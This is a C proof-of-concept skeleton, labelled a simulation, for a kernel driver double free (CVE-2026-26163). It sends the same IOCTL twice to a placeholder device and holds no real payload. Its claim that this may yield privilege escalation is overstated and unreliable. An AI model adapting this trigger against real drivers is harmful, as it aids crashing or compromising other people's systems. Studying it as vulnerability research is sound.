#include <windows.h>
#include <stdio.h>
// PoC for CVE-2026-26163 (Simulation)
// This code demonstrates the logic to trigger a double free in a driver context.
void exploit_trigger() {
HANDLE hDevice;
DWORD bytesReturned;
char inputBuffer[0x100];
// In a real scenario, replace this with the actual vulnerable device name
hDevice = CreateFile(L"\\\\.\\VulnerableKernelDriver",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
return;
}
printf("[+] Device opened. Sending payload to trigger double free...\n");
// Step 1: First allocation and free (simulated)
memset(inputBuffer, 0x41, sizeof(inputBuffer));
DeviceIoControl(hDevice, 0x222003, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL);
// Step 2: Second free (The Double Free)
DeviceIoControl(hDevice, 0x222003, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL);
printf("[+] Exploit payload sent. If vulnerable, kernel panic or privilege escalation may occur.\n");
CloseHandle(hDevice);
}
int main() {
exploit_trigger();
return 0;
}